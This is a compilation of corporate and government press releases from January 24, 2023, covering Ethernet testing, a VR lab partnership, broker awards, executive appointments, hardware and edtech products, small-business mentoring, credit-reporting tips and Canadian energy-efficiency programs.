"IEEE conformance validation of Single Pair Ethernet is essential for automotive OEMs and semiconductor vendors alike," said Bob Noseworthy, Principal Engineer at UNH-IOL. "Microchip's support in enabling this capability is greatly appreciated." By providing high-quality test plans and access to test equipment for automotive networks, UNH-IOL enables businesses to improve products and accelerate market readiness. To participate and learn more about the UNH-IOL's current Automotive Testing including Microchip's new 1000BASE-T1 Single-Pair Ethernet testing station, visit the IOL website.

About the UNH-IOL The UNH-IOL is dedicated to being the world's premier data networking resource. Beginning in 1988, the UNH-IOL has built a multimillion dollar testbed and developed testing solutions to help companies efficiently and cost effectively deliver products to market. UNH-IOL's services fit the needs of the market, while maintaining broad, comprehensive interoperability and conformance testing of networking, data, telecommunications, and storage products. The industry relies on UNH-IOL's extensive staff experience, standards-bodies participation, 28,000+ square foot facility, and 100+ students who represent the future interoperability testing and verification. About Microchip Technology Microchip Technology Inc. is a leading provider of smart, connected and secure embedded control solutions. Its easy-to-use development tools and comprehensive product portfolio enable customers to create optimal designs which reduce risk while lowering total system cost and time to market. The company's solutions serve more than 120,000 customers across the industrial, automotive, consumer, aerospace and defense, communications and computing markets. Headquartered in Chandler, Arizona, Microchip offers outstanding technical support along with dependable delivery and quality. For more information, visit the Microchip website at www.microchip.com. www.iol.unh.edu | Twitter @UNH_IOL LinkedIn @UNH InterOperability Lab | Instagram @unhiol View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005018/en/

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[January 24, 2023] Virtualware partners with McMaster Engineering to introduce its first VR room in Canada

TORONTO, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Virtualware partners with the Faculty of Engineering at McMaster University to adopt and scale the award-winning VR enterprise platform VIROO. This initiative will be inaugurated in early 2023 with the unveiling of a 100m2 custom-built immersive room at one of Canada's most innovative universities in the world, providing access to students, faculty, and businesses to push boundaries and explore the use of VR tools and technologies in the region. Leveraging each others strengths, the initial four-year partnership will foster initiatives to broadly facilitate access and promote the adoption of VR in education and research by blending physical and virtual workspaces. Virtualware and McMaster Engineering are committed to making a global impact not only in education, but also in the enterprise. This partnership will see them join forces to explore new options and forge ways to collaborate with nearby companies interested in leveraging this emerging technology. This is an exciting partnership that will not only lead to new technologies to solve the worlds biggest challenges but will also attract new strategic partners in Canada and internationally, says John Preston, Associate Dean, Research, Innovation and External Relations, McMaster Engineering. As a result, the immersive room will be located at McMaster Innovation Park (MIP), Canadas premier research and innovation park. This strategic location acts as a bridge between academia and industry, becoming part of Hamiltons innovation ecosystem. Powered by Virtualwares VIROO platform, the all-in-one too will help professors and researchers guide their students towards more innovative and complete learning experiences, preparing them for the next generation of future-workforce skills. The partnership will be led by Ali Emadi's research group focused on smart mobility applications.



The collaboration will help companies start their VR journey, giving them the opportunity to incorporate the VR platform in their daily operations, so they can be more competitive and improve their processes, says Ali Emadi, engineering professor and Canada Research Chair in Transportation Electrification and Smart Mobility, McMaster Engineering. Thanks to the VIROO platform, the Faculty of Engineering at McMaster University will now have the ability to create content, without the need to write a single line of code and deploy multi-user virtual reality autonomously. McMasters new 100m2 free-roam immersive lab will allow up to six users to connect and interact in the same physical room, communicating and collaborating in real time with unlimited remote users in the same VR environment.

Our partnership with McMaster, will accelerate VR adoption across the region, creating valuable opportunities to build the most powerful enterprise VR ecosystem for industry, says Unai Extremo, CEO & Founder Virtualware. About McMaster Engineering McMaster Engineering is committed to the pursuit of excellence and plays a significant role in helping McMaster University earn its reputation as one of Canadas most innovative universities. Created in 1958, The Faculty of Engineering at McMaster is committed to research with impact and transforming the education of engineering through The Pivot - the first program of its kind to intensely focus on our engineering students and their learning. About Virtualware Virtualware is a pioneer in the Virtual Reality Industry. Founded in 2004, it has over time become the European leader in applying immersive technologies for industrial applications. The company was acknowledged as the world's most Innovative VR Company at the 2021 edition of the VR Awards. Virtualware offers cutting-edge solutions to global powerhouses and significant firms across industries, including GE Hitachi, Petronas, Iberdrola, Alstom, Guardian Glass, ArcelorMittal, Danone, Johnson & Johnson, Biogen, Bayer, ADIF, or the Spanish Ministry of Defense to name a few. Virtualwares flagship VIROO is a VRAAS platform that makes VR accessible to companies of all sizes and industries. Headquartered in Bilbao, Spain, with a North American office in Toronto and partner companies worldwide, the firm is formed by a multidisciplinary team of 45 headcount including technologists and engineers who have launched over 500 projects in over 33 countries.

Pedrosa IR [email protected]

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[January 24, 2023] StockBrokers.com Announces Best of the Online Brokerage Industry for 2023

StockBrokers.com, a leading media outlet covering the online brokerage industry for U.S. consumers, today launched its 13th annual stockbroker review and announced the winners of its annual awards, including best online trading platform, best mobile trading app and other features key to individual investors. Taking the top award this year, No. 1 Overall Broker, is longtime industry standout Fidelity Investments. It's a repeat win for Fidelity, which also took first place for innovation, best new tool and best order execution. Based on months of hands-on testing, analysis and data collection by expert traders at StockBrokers.com, the 2023 annual review is a data-driven, unbiased review of the financial products and services offered by 17 top U.S. brokerage firms, including veterans such as Charles Schwab as well as newer disruptors in the field like Robinhood. "As active market participants ourselves, the annual review is an incredibly rewarding journey," said Blain Reinkensmeyer, co-founder of StockBrokers.com and a founding partner of parent company Reink Media Group. "Having a front-row seat into the latest industry trends and brokerage offerings, then surfacing insights for our readers, is something that never gets old when you're as passionate as we are about the stock market."



The 2023 Annual Review includes two new categories reflecting trends in online trading: best for sentiment investing, won by Interactive Brokers; and best for high net worth investors, where Merrill Edge took the trophy. About StockBrokers.com

StockBrokers.com was founded in 2011 with a mission to provide thorough and unbiased reviews of online brokers for U.S. consumers. Our coverage of online trading platforms for self-directed investors continues to be the standard-bearer for impartial, comprehensive content that puts the tools for successful investing in readers' hands. For the 2023 annual review, more than 3,000 data points were collected, making StockBrokers.com home to the largest independent database on the web covering the online broker industry. About Reink Media Group Reink Media Group, LLC (RMG), a certified B Corporation, is a privately held Michigan-based company founded in February 2009, with a mission to provide financial education and advice that puts people first before profits. RMG properties include investor.com, StockBrokers.com, UK.StockBrokers.com, ForexBrokers.com, StockTrader.com, and BrokerNotes.co. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005017/en/

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[January 24, 2023] Lower Unveils Choice for New Head of Operations

Industry and company veteran to lead teams responsible for fulfillment of loans NEW ALBANY, Ohio, Jan. 24, 2023 /PRNewswire/ -- Lower, the multi-channel fintech aimed at creating wealth through homeownership, announced today the appointment of Julia M. Brown as Senior Vice President of Operations. In this role, Brown will be responsible for overseeing all functions related to corporate mortgage operations, employee training and corporate development, as well as information technology and lines of business application support. "This year, we will emerge stronger, smarter, and better aligned with our strategic needs than ever before." In this role, Brown will focus on overall business strategy and opportunities to drive improved efficiency, quality, and culture, while simultaneously reducing costs. Currently the Vice President of Corporate Development, she ha been an integral part of the organization since joining Lower in 2014. Brown has more than a decade of experience in the housing industry and prior to joining the company, she worked in the non-profit space and for United Wholesale Mortgage and Quicken Loans (now Rocket Mortgage).



"We're fortunate to have a leader of Julia's caliber already within our team. She has the institutional knowledge and tenacity to improve upon our support teams' elite operations," said Dan Snyder, cofounder and CEO. "She has proven herself time and time again in each new role she's taken on, and this will be her biggest chance yet to transform our company and help our team reach more customers." Over the last few years, Lower experienced a period of incredible growth, followed by a rapid market-based contraction. Despite these unprecedented conditions, the company has grown in market share and continues to explore opportunities to make the dream of homeownership a reality for as many Americans as possible.

"Last year was a difficult one for our industry, and as we turn the page into 2023, there are sure to be additional challenges," said Brown. "But this year, we will emerge stronger, smarter, and better aligned with our strategic needs than ever before. I believe in our highly talented team, my peers, and our ownership to make homeownership a reality for more Americans than ever before. Their support allows me to focus on leading my teams through these difficult times and into the next resurgence with great tenacity and skill." Follow the company's journey on LinkedIn at LWR  The Lower Family of Companies. About Lower Lower's multi-channel fintech platform helps consumers build wealth through homeownership, no matter where they are in their life's journey. The company's products for mortgage, banking, insurance, and real estate provide customers with an intuitive ecosystem to simplify their homeownership goals, whether it's their first home or their last. Lower is a national and local best place to work, and the naming rights partner of Lower.com Field, home of the Columbus Crew. View original content to download multimedia:https://www.prnewswire.com/news-releases/lower-unveils-choice-for-new-head-of-operations-301729289.html SOURCE Lower

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[January 24, 2023] MEDIA ALERT: Top Executives of Dominion DMS to Announce Ground-Breaking Changes to its Core Dealer Management Service Offering

DALLAS, Jan. 24, 2023 /PRNewswire/ --







WHO: Sharon Kitzman, President, Dominion DMS

Executives and representatives of Dominion DMS WHAT: Media availability regarding the launch of Dominion's re-imagined DMS platform WHEN: 8:30 a.m.-5 p.m. CST

Friday, January 27, 2023 WHERE: NADA Show 2023  Expo Booth No. 4255

Kay Bailey Hutchison Convention Center

650 S. Griffin St.

Dallas, TX 75202

DETAILS: Dominion DMS President Sharon Kitzman and key company executives will be available for media interviews to discuss the company's launch of its reimagined DMS offering. Bowing for the first time at NADA Show 2023, the updated platform (which will be demonstrated at NADA show) will offer several enhancements that are revolutionary in the DMS marketplace, including: Ground-up redesign: The platform has been completely re-imagined for today's most critical dealership needs.

Cloud-native: The app remains in the cloud (one of the few cloud-native DMS offerings) and leverages the reliable and secure Microsoft Azure architecture.

Bring-your-own-device: The DMS is an intuitive solution that is web-based and compatible with a variety of laptops, PCs, and tablets.

Customizable: Dealers can interface with only the tools they want, eliminating the need (and cost) of unnecessary applications. In addition, Kitzman will announce a new pricing convention for the DMS that is previously unseen in the industry  a development that has the potential to transform the marketplace for DMS applications while saving dealers significant resources. Company officials will be on-site at Booth 4255 throughout the duration of the Expo's opening hours. Media unable to visit the booth on opening day are encouraged to stop by on Saturday and Sunday, January 28-29. Media Contact:

Scott Smith

E-Mail: [email protected] View original content to download multimedia:https://www.prnewswire.com/news-releases/media-alert-top-executives-of-dominion-dms-to-announce-ground-breaking-changes-to-its-core-dealer-management-service-offering-301729368.html SOURCE Dominion DMS

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[January 24, 2023] PCIe Gen 4 M.2 Carrier Board Joins Amfeltec's Squid Product Family

STOUFFVILLE, Ontario, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Amfeltec Corporation announced today that its first PCIe Gen 4 Carrier Board for up to four (4) M.2 PCIe SSD modules is in full production. This is the latest addition to Amfeltecs Squid Carrier Board family.

Due to Amfeltecs patented design, the new carrier board is in the form of a standard one-slot-wide, half-height and half-length board. It has four (4) M.2 (M-key) circuits for SSD modules; they are located on both sides of the carrier board (two circuits on the top (component) side and two on the bottom (soldering) side), and can accommodate any M.2 SSD with x4 PCI Express Gen 4 interface. (US Pat. 9,996,494; US Pat. 10,664,431) Amfeltec is proud to release our latest addition to the Squid family. This carrier board not only supports PCIe Gen 4.0, but its unique and compact design allows it to be used even in 2U servers, in, for example, datacenters, says Michael Feldman, President and CTO at Amfeltec Corp. Our compact design is one of the main reasons for the Squid carrier boards popularity, and many of our customers have explicitly requested a PCIe Gen 4 version. We are also continuing our open-concept design trend: the modules are easily swappable (with just a single screw!), and cooling is still accomplished via the boards and computers native fans.



All Squid carrier boards can operate on any motherboard and do not rely on PCIe bifurcation. The upstream connection (from carrier board to motherboard) is done via exchangeable male x16 PCIe Gen 4 adapters (x8 version optional). This allows the carrier board to be inserted into different sizes of PCIe connectors without encountering well-known limitations.

The board also has real-time performance and temperature monitoring capability. Squid PCI Express SSD Carrier Board Family includes the following: - SKU-086-31 - 1U PCIe Gen 3 Carrier Board for one (1) M.2 SSD module. - SKU-086-32 - 2U PCIe Gen 3 Carrier Board for two (2) M.2 SSD modules. - SKU-086-32e - 2U PCIe Gen 3 Carrier Board for two (2) M.2 or NGSFF(NF1) SSD modules. - SKU-086-34 - 2U PCIe Gen 3 Carrier Board for four (4) M.2 SSD modules. - SKU-086-36 - PCIe Gen 3 Carrier Board for six (6) M.2 or NGSFF (NF1) SSD modules. - SKU-086-44 - 2U PCIe Gen 4 Carrier Board for four (4) M.2 SSD modules. For additional information, please visit the product page:

https://www.amfeltec.com/pci-express-gen-4-carrier-board-for-four-m-2-pcie-ssd-modules/ About Amfeltec Corporation:

Amfeltec is a Canadian electronics engineering company, incorporated since 2005. It is a leading provider of complex and innovative solutions for the worlds diverse electronics markets. All Amfeltec products are designed and manufactured in Canada, and most are covered by one or more United States patents. Notable Amfeltec product families include Squid Carrier Board(TM), Piranha USB Telecom Adapter(TM), Arowana PCIe SSD Board(TM), and AngelShark Carrier Board(TM). Contact Information

Peter Suslik

T: 1.905.604.6438 x112

F: 1.905.604.6439

[email protected]

www.amfeltec.com



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[January 24, 2023] Savvas Realize Receives 2022 Supes' Choice Award for Best Learning Management System

Judged by school district superintendents, award program honors the best in K-12 education technology PARAMUS, N.J., Jan. 24, 2023 /PRNewswire/ -- Savvas Learning Company , a K-12 next-generation learning solutions leader, is proud to announce that its Savvas Realize learning management system (LMS) has received the 2022 Supes' Choice Award from the Institute for Education Innovation, a national school superintendent think tank. Savvas Realize , the K-12 education industry's most innovative LMS, was honored as the "best of the best" in the Learning Management System category. School district superintendents recognize the value of Savvas Realize, a robust platform meeting all a district's needs. The Supes' Choice Awards, which recognize the trailblazers and visionaries in today's rapidly growing edtech industry, are the only edtech industry awards judged exclusively by school district superintendents. Winners in the award program's 14 categories are selected based on their commitment to student outcomes innovation and ingenuity, client support, interactivity, and engagement.



"We are honored to receive this Supes' Choice Award from the Institute for Education Innovation, as it demonstrates the impact of Savvas Realize in helping to make personalized learning more effective for students while optimizing classroom instruction time for teachers," said Bethlam Forsa, CEO of Savvas Learning Company. "What makes this award so meaningful to us is that school district superintendents recognize the value of Savvas Realize as a robust platform that meets all of a district's needs, from central office tools to classroom curriculum." Savvas is showcasing its game-changing Savvas Realize LMS to thousands of educators at the national 2023 Future of Education Technology Conference (FETC) this week in New Orleans. Attendees can visit Savvas at Booth #2817 to learn more about the Savvas Realize platform and other new innovative products.

The school district leaders who served as Supes' Choice Award judges called Savvas Realize a "powerful platform" with "strong integration" that "provides ease of management across the district." "Realize's interoperability is crucial to [school] systems that are in digital initiative overload," the superintendents said. "Anything that supports clarity and coherence among educators and rolls up to the district for feedback loops is critical. Having a single vertical integration will provide central administration with a clearer view and simplify experiences for end-users." A trendsetter among publisher platforms, Savvas Realize is the digital home to Savvas Learning Company's high-quality, rigorous, and research-grounded K-12 programs  all purposefully built for blended learning environments. Teachers can access everything they need with one login, from standards-aligned content and customizable assignments to rich student data and powerful class planning tools. Featuring cutting-edge adaptive technology, it provides data-driven insights to help teachers differentiate instruction and personalized, real-world learning experiences to increase student engagement  all on one easy-to-use platform that enables students to learn anytime, anywhere. Savvas Realize was updated for this school year with powerful enhancements that deliver even greater simplicity, shareability, and seamless interoperability with more than two dozen major edtech tools that school districts use most. ABOUT THE INSTITUTE FOR EDUCATION INNOVATION

The IEI is a national school superintendent think tank that serves as the bridge between district leaders and the K-12 industry to develop solutions to the greatest challenges in public education. For more information, visit Institute for Education Innovation . ABOUT SAVVAS LEARNING COMPANY

At Savvas, we believe learning should inspire. By combining new ideas, new ways of thinking, and new ways of interacting, we design next-generation learning solutions that help prepare students to become global citizens in a more interconnected, digital world. To learn more, visit Savvas Learning Company . Savvas Learning Company's products are available for sale in Canada through its subsidiary, Rubicon . View original content to download multimedia:https://www.prnewswire.com/news-releases/savvas-realize-receives-2022-supes-choice-award-for-best-learning-management-system-301729467.html SOURCE Savvas Learning Company

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[January 24, 2023] From Startup to Shark Tank: Small Businesses Launch and Grow With Mentoring Support During National Mentoring Month

WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- This National Mentoring Month, entrepreneurs are harnessing the power of mentoring to launch their businesses to new levels of success. Entrepreneurs who work with a mentor are five times more likely to start a business  and report higher revenues and increased business growth  according to SCORE, a resource partner of the U.S. Small Business Administration and the nation's largest network of volunteer, expert business mentors. SCORE mentors provide entrepreneurs with critical guidance, as well as practical tools and resources, free of charge Mentoring: From Startup to Shark Tank Ten years ago, Dakota and Garret Porter were teenagers when they turned to SCORE to shape their idea to add LED lights to snowboards into a business. "We didn't know anything," says Dakota. The brothers worked with SCORE mentors Tanya Berg and Ed Ketterer to establish a business plan, develop a structure, apply for patents and seek funding. "Our SCORE mentors took us seriously, helping us get off the ground and take tangible steps to start our business," adds Garret. Recently, the Porters fulfilled their dream to appear on Shark Tank, garnering priceless exposure for their company, Action Glow, plus a $200,000 investment in their patented LED lighting kits for sporting equipment. Their advice to other entrepreneurs: "Get a mentor right away. Your net worth is your network. We are super fortunate to have business experts in our corner. We are still learning every day, but when we have a challenge, we know we have someone who can guide us in the right direction." Free, Expert Small Business Advice SCORE mentoring sessions are collaborative, confidential meetings between small business owners and a mentor, either in-person or remotely via phone, email, video or online chat. During these sessions, entrepreneurs can share their business goals, challenges and questions. SCORE mentors will ofer advice, resources and insights to guide business owners in their next best steps.



"Mentors make a difference. With years of real-world knowledge and experience, SCORE mentors provide entrepreneurs with critical guidance, as well as practical tools and resources, free of charge," explains SCORE CEO Bridget Weston. Since its launch nearly 60 years ago, SCORE has helped more than 11 million entrepreneurs start or grow a business. To request your free, small business mentor or to learn more, visit www.score.org/find-mentor.

About SCORE: SCORE's 10,000 volunteers provide free mentoring, workshops and educational services nationwide, creating 25,084 new businesses and 71,475 non-owner jobs in 2021 alone. Visit SCORE at www.score.org. Follow @SCOREMentors on Facebook, Twitter and LinkedIn. Funded [in part] through a Cooperative Agreement with the U.S. Small Business Administration. CONTACT:

SCORE

800-925-8458

[email protected]

Visit SCORE's media resources to be connected with expert small business interview sources and news updates. View original content to download multimedia:https://www.prnewswire.com/news-releases/from-startup-to-shark-tank-small-businesses-launch-and-grow-with-mentoring-support-during-national-mentoring-month-301729471.html SOURCE SCORE

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[January 24, 2023] myFICO: How to Add Rent Payments to Your Credit Reports

Since 2014, FICO has included reported rental data in all new versions (FICO Score 9 and FICO Score 10) of its scoring models, meaning that paying rent on time could help improve your FICO Score. But many landlords do not send their tenant's rental information to the credit bureaus. Fortunately, it's becoming easier and more common to do so, and here's how you can do it, from myFICO. For more loan and credit education, visit myFICO's blog at https://www.myfico.com/credit-education/blog Why Don't Landlords Report Rent to the Credit Bureaus? Like creditors, landlords aren't legally required to report their tenants' monthly rent payments to the three major credit reporting agencies, and for the landlords, the process often requires additional costs and effort. Also, while a rent payment is similar to a mortgage payment in terms of your budget, you're not technically borrowing money, so it's been a relatively recent addition to credit reports. However, the motivation for landlords to report is becoming more clear. Not only does rent reporting potentially help landlords screen tenants based on their rental history, but it can also encourage tenants to pay on time to avoid negative marks on their credit reports. How to Get Credit for On-Time Rent Payments If you pay your rent on time, here are a few different ways you can have that information be considered in your FICO Scores. Talk to Your Landlord As options for reporting rent payments improve, 27% of property managers who are aware of the practice do so, according to a recent report from TransUnion. So, before you consider other methods, reach out to your landlord and ask about their reporting policy. If they were unaware of the option or have considered it, you may be able to share how the practice could benefit their business by incentivizing on-time payments and potentially even giving them an advantage over oher landlords in the area who don't offer reporting.



Before talking to your landlord, you can also review your credit reports to confirm whether or not they're reporting your monthly rent payments. Research reporting services

There are several different reporting services that can help you get your rent payments added to your credit reports. Many charge a fee, so evaluate carefully: Experian Boost: This free service allows you to add rent payments, as well as utility payments and streaming subscriptions, to your Experian credit report by linking your bank account.

This free service allows you to add rent payments, as well as utility payments and streaming subscriptions, to your Experian credit report by linking your bank account. Pinata: Renters can download the free app and get their rent payments reported to TransUnion at no additional charge. Additionally, property management companies can partner with the company and offer you reporting to all three credit bureaus for $4 per month.

Renters can download the free app and get their rent payments reported to TransUnion at no additional charge. Additionally, property management companies can partner with the company and offer you reporting to all three credit bureaus for $4 per month. RentReporters: For a $94.95 sign-up fee and $9.95 per month (or $7.95 per month if you pay annually), RentReporters will report your monthly payments to Equifax and TransUnion going back 24 months and on an ongoing basis. The company is also planning report to Experian soon.

For a $94.95 sign-up fee and $9.95 per month (or $7.95 per month if you pay annually), RentReporters will report your monthly payments to Equifax and TransUnion going back 24 months and on an ongoing basis. The company is also planning report to Experian soon. Rental Kharma: With a $50 setup fee and $8.95 per month, you can get your ongoing rent payments reported to Equifax and TransUnion and also going back 24 months. You can also add a spouse or roommate for a one-time fee of $25 and $5 per month after that.

With a $50 setup fee and $8.95 per month, you can get your ongoing rent payments reported to Equifax and TransUnion and also going back 24 months. You can also add a spouse or roommate for a one-time fee of $25 and $5 per month after that. LevelCredit: For $6.95 per month, you can get your rent payments reported to all three credit bureaus. You can also add up to 24 months of past payments for a one-time $49.95 fee. It also reports utility and phone payments to TransUnion.

For $6.95 per month, you can get your rent payments reported to all three credit bureaus. You can also add up to 24 months of past payments for a one-time $49.95 fee. It also reports utility and phone payments to TransUnion. PaymentReport: For $2.95 per month, you can get ongoing reporting of rental payments to Equifax and TransUnion. You can also add past payments for $0.50 per month. Alternatively, you can pay a flat fee of $49 per lease and get 24 months of past payment history and ongoing reporting at no additional cost. For the flat-fee plan, you can add an additional roommate or your spouse for free. You can also add them for free on the monthly plan if you don't make separate rent payments. Depending on your situation, consider each of these options to determine which one is best for you. You may also consider using multiple services to get all three bureaus while minimizing your costs. How will adding rent payments to my credit report affect my FICO Score? First and foremost, a record of on-time rental payments is more likely to have a positive impact on your FICO Score than a record that includes late or missed rental payments. Secondly, if you have limited credit history or you are rebuilding your credit, the inclusion of a record of on-time rental payments in your credit file may have a larger positive impact on your score. A 2020 study showed that "including rental history in credit reports could increase the proportions of tenant with scoreable credit histories and with good credit scores, but the change could be detrimental to credit scores for a subset of tenants." It's also important to remember that reported rental payments are only considered in newer FICO Scores, so rental payments won't impact the FICO Scores currently used for mortgage (FICO Scores 5, 4, and 2). Before you start reporting your rental history to the credit bureaus, it's important to know that your landlord might report past payments as well as your future payments, so you should consider if you have had any late or missed rental payments that could hurt your score. You should also consider how confident you are in your ability to make on-time payments in the future. After you report your rental history to the credit bureaus, be sure to review your credit reports to confirm that your newly reported rental history is accurate. The Bottom Line Many entities think people should get credit for making on-time rent payments just as homeowners get credit for mortgage payments. If your landlord doesn't already offer reporting or doesn't plan to, there are ways you can get your payments reported on your own. Take your time to research and compare multiple options before you make a decision to ensure that you get the best value for your money. About myFICO myFICO makes it easy to understand your credit with FICO Scores, credit reports and alerts from all 3 bureaus. myFICO is the consumer division of FICO- get your FICO Scores from the people that make the FICO Scores. For more information, visit https://www.myfico.com/credit-education. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005170/en/

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[January 24, 2023] Enhanced energy efficiency rebates now available through new agreement between Enbridge Gas and the Canada Greener Homes Grant

Coordinated program will offer eligible Ontarians a streamlined path to accessing rebates for energy efficiency upgrades leading to reduced emissions and lower costs TORONTO, Jan. 24, 2023 /CNW/ - Enbridge Gas Inc. (Enbridge Gas), along with Natural Resources Canada (NRCan) and the province of Ontario, announced today the official launch for the co-delivery of the Canada Greener Homes Grant through a single window to all eligible Ontarians via Enbridge Gas' enhanced Home Efficiency Rebate Plus (HER+) program. Ontarians are encouraged to visit the website for program details, eligibility criteria, and to learn how to apply. Through the HER+ program, rebates are provided towards the cost of eligible retrofits such as home insulation, windows, doors, and renewable energy systems as a comprehensive offer to help Ontarians optimize energy savings in their homes. Eligible Ontarians can receive Canada Greener Homes grants of up to $5,000 and current Enbridge Gas customers, who are eligible, can apply for up to $5,000 more funded by Enbridge Gas, for a combined total of up to $10,000. Additionally, participants can offset the cost of their EnerGuide home assessment with a rebate of up to $600. With building heat being one of the top three sources of greenhouse gas (GHG) emissions in Ontario, this agreement will contribute to the national efforts to reduce emissions across the building sector while saving residents money on their utility bill and ensuring more climate-resilient communities for generations to come. The Government of Ontario recommended Enbridge Gas to the Government of Canada as the co-delivery partner for the Canada Greener Homes Grant in the province. This collaboration will enable more efficient program delivery for Ontarians, as Enbridge Gas serves more than 75 percent of provincial residents. In doing so, the Province of Ontario joins Quebec and Nova Scotia who already have co-delivery agreements to deliver the Canada Greener Homes Grant.



Quick Facts

The Canada Greener Homes Initiative will deliver up to 1.5 megatonnes in emissions reduction annually by 2026 and is expected to generate over 110,000 direct and indirect jobs across Canada , building on the more than 436,000 direct jobs the energy efficiency sector accounted for in 2018.

, building on the more than 436,000 direct jobs the energy efficiency sector accounted for in 2018. As of January 11, 2023 the Canada Greener Homes Initiative has issued $132 million in grants to more than 33,000 homeowners, including more than $14 million to almost 5,400 homeowners in Quebec and Nova Scotia , and approved more than 7,625 loans nationwide.

the Canada Greener Homes Initiative has issued in grants to more than 33,000 homeowners, including more than to almost 5,400 homeowners in and , and approved more than 7,625 loans nationwide. As of May 1, 2019 , Enbridge Gas' Home Energy Conservation (HEC) and Home Reno Rebate (HRR) merged to become the Home Efficiency Rebate (HER) program. Since, Enbridge Gas has provided rebates to more than 80,000 customers. "Enbridge Gas strongly champions conservation efforts, and believes that maximizing energy efficiency is essential to achieving our collective national goal of reaching net zero energy-related emissions by 2050. The enhanced HER+ program is an excellent example of governments and utilities working together to deliver programs that are complementary and coordinated in order to streamline processes and maximize benefits to participants."  Michele Harradence, President, Enbridge Gas Inc. "This announcement represents a step forward in reducing emissions, reducing utility bills and creating sustainable jobs in Ontario. The delivery of the Greener Homes Grant in Ontario with Enbridge Gas takes advantage of existing infrastructure to rapidly deploy cost- and climate-saving retrofits across the province while simplifying the process for residents."  Jonathan Wilkinson, Canada's Minister of Natural Resources "Energy conservation is an important part of Ontario's plan to build a cleaner, greener Ontario. By bringing together Ontario's natural gas conservation programs, delivered by Enbridge Gas, and the federal government's Greener Homes Initiative we are providing families with access to increased financial supports that will help them reduce their energy costs and emissions. This builds on our recent announcement that Ontario was increasing funding for the province's electricity energy-efficiency programs by $342 million."  Todd Smith, Ontario's Minister of Energy About Enbridge Gas Inc.

Enbridge Gas is Canada's largest natural gas storage, transmission and distribution company based in Ontario, with over 170 years of service to customers. The distribution business provides safe, affordable, reliable energy to about 3.8 million customers and is leading the transition to a clean energy future through net-zero emissions targets and investments in innovative low-carbon energy solutions. The storage and transmission business offers a variety of storage and transportation services to customers at the Dawn Hub, the largest integrated underground storage facility in Canada and one of the largest in North America. Enbridge Gas is owned by Enbridge (ENB), a Canadian-based leader in energy transportation and distribution. Learn more at enbridgegas.com. About the Canada Greener Homes Initiative

The Canada Greener Homes Initiative provides grants and a loan for home evaluations and for retrofits. The eligible retrofits include home insulation, windows and doors, air sealing, and mechanical and renewable energy systems. By making home retrofits, you will help Canada meet its 2030 climate change commitments and significantly contribute to Canada's goal of achieving net-zero greenhouse gas emissions by 2050. For homeowners, it means a more comfortable home, a more affordable home, and a healthier planet. SOURCE Enbridge Gas Inc.

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[January 24, 2023] Josephine Moran Appointed to Ledyard Board

Ledyard Financial Group (Ticker symbol LFGP) is pleased to announce that Josephine Moran has been appointed to the Board of Directors of Ledyard Financial Group, Inc. and Ledyard National Bank. Ms. Moran has served as Ledyard's President and Chief Banking Officer since January of 2022. Bruce King, Ledyard's Board Chair stated, "In the year that Josephine has been here at Ledyard, she has made many valuable contributions to the organization. Her leadership skills, expertise, and vast banking experience have already served Ledyard well and we are looking forward to having her on the board helping Ledyard execute on our strategic initiatives." Ms. Moran has over twenty years of leadership, community banking, investment services and lending experience. Before joining Ledyard, she was Executive Vice President, Chief Corporate Services and Consumer Lending Officer at Provident Bank, as well as EVP, Head of Retail. Ms. Moran has held various Executive Leadership positions in several organizations throughout her career including Wachovia /Wells Fargo, Santander, and Webster Bank. Ms. Moran holds an Executive MBA from the University of New Haven as well as an M.S. in Finance and Financial Services. She attended the Fashion Institute of Technology in New York where she received her B.S. in Marketing and Management. She holds Seies 7 and 63 licenses and has a CFP certificate from Quinnipiac University. Ms. Moran serves on the NH Bankers Association's Legislation Committee, working to clarify banking issues, preserve policies and protect the interests of members. She also serves on the Board of Governors of the University of New Haven, is Chair of the Pompea College of Business Advisory Board, is Chair and Founder of the Women's Leadership Council, and serves on the Upper Valley Corporate Council.



Ledyard Financial Group, Inc., headquartered in Hanover, New Hampshire, is the holding company for Ledyard National Bank. Ledyard National Bank, founded in 1991, is a full-service community bank offering a broad range of banking, investment and wealth management services. Ledyard Financial Group, Inc. shares can be bought and sold through the NASD sanctioned "OTC Markets" under the trading symbol LFGP. Shares may be traded through an individual's broker. For more information, please refer to the "Investor Relations" section of the bank's website at www.ledyardbank.com or contact the bank's Chief Financial Officer, Peter Sprudzs.

Forward-Looking Statements: Statements concerning future performance, developments or events, expectations for growth and income forecasts, and any other guidance on future periods constitute forward-looking statements that are subject to a number of risks and uncertainties. Actual results may differ materially from stated expectations. Specific factors include, but are not limited to, loan production, competitive pressure in the banking industry, balance sheet management, net interest margin variations, the effect of changes in equity prices on assets under management, the ability to control costs and expenses, changes in the interest rate environment, financial policies of the United States government, and general economic conditions. The Company disclaims any obligation to update any such factors. View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005994/en/

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[January 24, 2023] Natural Resources Canada Launches Call for Proposals for the Delivery of the Codes Acceleration Fund

TORONTO, Jan. 24, 2023 /CNW/ - The Government of Canada is taking action to fight climate change by reducing greenhouse gas emissions and improving energy efficiency. The buildings sector is the third-largest source of emissions in Canada, which is why Canada's upcoming Green Buildings Strategy will be critical to achieving Canada's climate targets, creating more climate-resilient buildings and supporting jobs in many sectors across the country. An effective strategy includes the development of strong building codes across Canada. Today, the Honourable Jonathan Wilkinson, Canada's Minister of Natural Resources, announced a call for proposals for the Codes Acceleration Fund. The fund will support provinces, territories, municipalities, Indigenous governments and stakeholders in adopting and enforcing the codes needed to fight climate change and improve resiliency from coast to coast to coast. To decarbonize the buildings sector, Canada is proactively working with partners to adopt national model building and energy codes. The Codes Acceleration Fund will support actions that will help to urgently accelerate the adoption of and compliance with the higher-performance tiers set out in the 2020 edition of the National Building Code , National Energy Code of Canada for Buildings or other high-performance codes, including net-zero emissions codes. The Codes Acceleration Fund has three objectives: to accelerate the adoption and implementation of the highest feasible energy-performance tiers of the national model energy codes or other high-performance building codes, such as net-zero emissions codes;

to promote higher rates of compliance with adopted codes; and

to build capacity and support market preparedness for ambitious code adoption. A total of $100 million is available and will cover two streams: Stream 1: Support for jurisdictions that have the authority to adopt energy codes.

